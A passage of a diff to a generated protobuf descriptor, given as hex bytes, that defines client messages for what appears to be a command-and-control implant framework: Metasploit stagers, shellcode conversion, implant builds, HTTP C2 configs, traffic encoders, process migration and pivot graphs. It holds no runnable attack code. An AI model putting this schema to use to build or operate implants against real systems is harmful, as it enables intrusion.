0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, - 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, - 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, - 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, - 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, - 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, - 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x8f, 0x02, 0x0a, 0x0c, 0x4d, 0x73, 0x66, 0x53, - 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, - 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, - 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, 0x08, - 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, - 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, - 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, 0x20, - 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, 0x0a, - 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, - 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73, 0x66, - 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, + 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x22, 0x7a, 0x0a, 0x0e, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x57, + 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x12, + 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x16, 0x0a, + 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, + 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, 0xb1, 0x01, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, + 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x45, 0x0a, 0x08, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x54, 0x72, + 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, + 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x1a, 0x0a, 0x08, + 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, + 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x61, + 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x53, 0x61, 0x6d, 0x70, + 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x13, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x32, + 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x52, 0x05, 0x54, 0x65, 0x73, + 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, + 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x6f, 0x74, 0x61, + 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x54, 0x6f, + 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x22, 0xa6, 0x01, 0x0a, 0x15, 0x45, 0x78, 0x74, + 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x12, 0x2c, 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x52, 0x05, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x12, 0x2e, 0x0a, 0x06, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, + 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x48, 0x54, 0x54, 0x50, 0x43, + 0x32, 0x22, 0x77, 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x26, + 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, + 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xa8, 0x01, 0x0a, 0x0c, 0x47, - 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x48, - 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, - 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xc6, 0x01, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xbe, 0x03, 0x0a, 0x0d, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3e, 0x0a, 0x07, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x4a, 0x0a, 0x0b, + 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x52, 0x65, 0x73, 0x6f, 0x75, + 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x52, 0x65, 0x73, + 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x12, 0x3b, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x67, + 0x65, 0x64, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x73, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x06, 0x73, + 0x74, 0x61, 0x67, 0x65, 0x64, 0x1a, 0x53, 0x0a, 0x0c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, - 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, - 0x0a, 0x0f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, - 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, - 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, - 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, - 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, - 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, - 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, - 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, - 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, - 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, - 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, - 0x64, 0x72, 0x65, 0x6e, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, - 0x43, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, - 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, - 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, - 0x64, 0x72, 0x65, 0x6e, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, - 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, - 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, - 0x6f, 0x72, 0x22, 0xc3, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, - 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4a, 0x6f, 0x62, 